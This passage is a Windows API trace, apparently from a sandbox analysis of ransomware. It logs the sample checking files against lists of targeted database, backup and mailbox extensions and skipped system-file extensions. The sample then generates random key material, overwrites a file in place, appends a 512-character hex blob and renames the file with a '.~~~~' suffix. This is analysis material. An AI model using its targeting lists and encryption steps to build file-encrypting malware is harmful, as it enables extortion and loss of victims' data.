	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DBV") returned 0x0
	[0076.366] lstrlenW (lpString=".dacpac") returned 7
	[0076.366] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".dacpac") returned 0x0
	[0076.367] lstrlenW (lpString=".sdf") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".sdf") returned 0x0
	[0076.367] lstrlenW (lpString=".accdb") returned 6
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".accdb") returned 0x0
	[0076.367] lstrlenW (lpString=".DBX") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DBX") returned 0x0
	[0076.367] lstrlenW (lpString=".MDT") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".MDT") returned 0x0
	[0076.367] lstrlenW (lpString=".SQB") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".SQB") returned 0x0
	[0076.367] lstrlenW (lpString=".vhd") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".vhd") returned 0x0
	[0076.367] lstrlenW (lpString=".bac") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".bac") returned 0x0
	[0076.367] lstrlenW (lpString=".mdf") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".mdf") returned 0x0
	[0076.367] lstrlenW (lpString=".BAK") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".BAK") returned 0x0
	[0076.367] lstrlenW (lpString=".BAC") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".BAC") returned 0x0
	[0076.367] lstrlenW (lpString=".dbs") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".dbs") returned 0x0
	[0076.367] lstrlenW (lpString=".vhdx") returned 5
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".vhdx") returned 0x0
	[0076.367] lstrlenW (lpString=".NDF") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".NDF") returned 0x0
	[0076.367] lstrlenW (lpString=".dat") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".dat") returned 0x0
	[0076.367] lstrlenW (lpString=".DBS") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DBS") returned 0x0
	[0076.367] lstrlenW (lpString=".CKP") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".CKP") returned 0x0
	[0076.367] lstrlenW (lpString=".edb") returned 4
	[0076.367] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".edb") returned 0x0
	[0076.368] lstrlenW (lpString=".PST") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".PST") returned 0x0
	[0076.368] lstrlenW (lpString=".dbf") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".dbf") returned 0x0
	[0076.368] lstrlenW (lpString=".SQL") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".SQL") returned 0x0
	[0076.368] lstrlenW (lpString=".pst") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".pst") returned 0x0
	[0076.368] lstrlenW (lpString=".dbv") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".dbv") returned 0x0
	[0076.368] lstrlenW (lpString=".SDF") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".SDF") returned 0x0
	[0076.368] lstrlenW (lpString=".dtxs") returned 5
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".dtxs") returned 0x0
	[0076.368] lstrlenW (lpString=".db3") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".db3") returned 0x0
	[0076.368] lstrlenW (lpString=".OST") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".OST") returned 0x0
	[0076.368] lstrlenW (lpString=".dbx") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".dbx") returned 0x0
	[0076.368] lstrlenW (lpString=".DB3") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DB3") returned 0x0
	[0076.368] lstrlenW (lpString=".DAT") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DAT") returned 0x0
	[0076.368] lstrlenW (lpString=".VHDX") returned 5
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".VHDX") returned 0x0
	[0076.368] lstrlenW (lpString=".ndf") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".ndf") returned 0x0
	[0076.368] lstrlenW (lpString=".DB") returned 3
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DB") returned 0x0
	[0076.368] lstrlenW (lpString=".sql") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".sql") returned 0x0
	[0076.368] lstrlenW (lpString=".MYD") returned 4
	[0076.368] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".MYD") returned 0x0
	[0076.369] lstrlenW (lpString=".DBT") returned 4
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DBT") returned 0x0
	[0076.369] lstrlenW (lpString=".ACCDB") returned 6
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".ACCDB") returned 0x0
	[0076.369] lstrlenW (lpString=".fdb") returned 4
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".fdb") returned 0x0
	[0076.369] lstrlenW (lpString=".bak") returned 4
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".bak") returned 0x0
	[0076.369] lstrlenW (lpString=".myd") returned 4
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".myd") returned 0x0
	[0076.369] lstrlenW (lpString=".DTXS") returned 5
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".DTXS") returned 0x0
	[0076.369] lstrlenW (lpString=".ckp") returned 4
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".ckp") returned 0x0
	[0076.369] lstrlenW (lpString=".dbt") returned 4
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".dbt") returned 0x0
	[0076.369] lstrlenW (lpString=".db") returned 3
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".db") returned 0x0
	[0076.369] lstrlenW (lpString=".TXT") returned 4
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".TXT") returned 0x0
	[0076.369] lstrlenW (lpString=".MDF") returned 4
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".MDF") returned 0x0
	[0076.369] lstrlenW (lpString=".bdb") returned 4
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".bdb") returned 0x0
	[0076.369] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.369] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.369] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.369] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0076.370] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.370] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.370] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.370] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.370] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19636056096) returned 1
	[0076.370] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x976c4fd0, dwHighDateTime=0x1d60e1e)) 
	[0076.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3338
	[0076.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3338 | out: hHeap=0x300000) returned 1
	[0076.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7c30
	[0076.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.371] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0076.371] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.371] GetLastError () returned 0x0
	[0076.371] GetLastError () returned 0x0
	[0076.371] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.371] GetLastError () returned 0x0
	[0076.371] GetLastError () returned 0x0
	[0076.371] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x333, lpOverlapped=0x0) returned 1
	[0076.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffffccd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.374] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x333, lpOverlapped=0x0) returned 1
	[0076.374] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0076.374] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.374] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.374] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.374] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.374] CloseHandle (hObject=0x130) returned 1
	[0076.374] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0076.374] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.~~~~")) returned 1
	[0076.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0076.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0076.375] GetLastError () returned 0x0
	[0076.375] RtlWakeConditionVariable () returned 0x365f70
	[0076.375] GetCurrentThreadId () returned 0x9cc
	[0076.375] GetCurrentThreadId () returned 0x9cc
	[0076.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0076.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8218 | out: hHeap=0x300000) returned 1
	[0076.375] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3370 | out: hHeap=0x300000) returned 1
	[0076.375] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8218
	[0076.375] lstrlenW (lpString=".scr") returned 4
	[0076.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll", lpSrch=".scr") returned 0x0
	[0076.375] lstrlenW (lpString=".cmd") returned 4
	[0076.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll", lpSrch=".cmd") returned 0x0
	[0076.375] lstrlenW (lpString=".dll") returned 4
	[0076.375] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\osetupui.dll", lpSrch=".dll") returned=".dll"
	[0076.376] lstrlenW (lpString=".dll") returned 4
	[0076.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8218 | out: hHeap=0x300000) returned 1
	[0076.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7c30 | out: hHeap=0x300000) returned 1
	[0076.376] RtlWakeConditionVariable () returned 0x365f70
	[0076.376] GetCurrentThreadId () returned 0x9cc
	[0076.376] GetCurrentThreadId () returned 0x9cc
	[0076.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7c30
	[0076.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e82c0 | out: hHeap=0x300000) returned 1
	[0076.376] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a33a8 | out: hHeap=0x300000) returned 1
	[0076.376] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e82c0
	[0076.376] lstrlenW (lpString=".scr") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".scr") returned 0x0
	[0076.376] lstrlenW (lpString=".cmd") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".cmd") returned 0x0
	[0076.376] lstrlenW (lpString=".dll") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".dll") returned 0x0
	[0076.376] lstrlenW (lpString=".bat") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".bat") returned 0x0
	[0076.376] lstrlenW (lpString=".cpl") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".cpl") returned 0x0
	[0076.376] lstrlenW (lpString=".sys") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".sys") returned 0x0
	[0076.376] lstrlenW (lpString=".msc") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".msc") returned 0x0
	[0076.376] lstrlenW (lpString=".com") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".com") returned 0x0
	[0076.376] lstrlenW (lpString=".lnk") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".lnk") returned 0x0
	[0076.376] lstrlenW (lpString=".msp") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".msp") returned 0x0
	[0076.376] lstrlenW (lpString=".pif") returned 4
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".pif") returned 0x0
	[0076.376] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.376] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch="msp\r\n.pif") returned 0x0
	[0076.377] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0076.377] lstrlenW (lpString=".sqb") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".sqb") returned 0x0
	[0076.377] lstrlenW (lpString=".ost") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".ost") returned 0x0
	[0076.377] lstrlenW (lpString=".txt") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".txt") returned 0x0
	[0076.377] lstrlenW (lpString=".mdt") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".mdt") returned 0x0
	[0076.377] lstrlenW (lpString=".BDB") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".BDB") returned 0x0
	[0076.377] lstrlenW (lpString=".eql") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".eql") returned 0x0
	[0076.377] lstrlenW (lpString=".DBF") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DBF") returned 0x0
	[0076.377] lstrlenW (lpString=".EQL") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".EQL") returned 0x0
	[0076.377] lstrlenW (lpString=".FDB") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".FDB") returned 0x0
	[0076.377] lstrlenW (lpString=".EDB") returned 4
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".EDB") returned 0x0
	[0076.377] lstrlenW (lpString=".DACPAC") returned 7
	[0076.377] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DACPAC") returned 0x0
	[0076.377] lstrlenW (lpString=".VHD") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".VHD") returned 0x0
	[0076.378] lstrlenW (lpString=".DBV") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DBV") returned 0x0
	[0076.378] lstrlenW (lpString=".dacpac") returned 7
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".dacpac") returned 0x0
	[0076.378] lstrlenW (lpString=".sdf") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".sdf") returned 0x0
	[0076.378] lstrlenW (lpString=".accdb") returned 6
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".accdb") returned 0x0
	[0076.378] lstrlenW (lpString=".DBX") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".DBX") returned 0x0
	[0076.378] lstrlenW (lpString=".MDT") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".MDT") returned 0x0
	[0076.378] lstrlenW (lpString=".SQB") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".SQB") returned 0x0
	[0076.378] lstrlenW (lpString=".vhd") returned 4
	[0076.378] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm", lpSrch=".vhd") returned 0x0
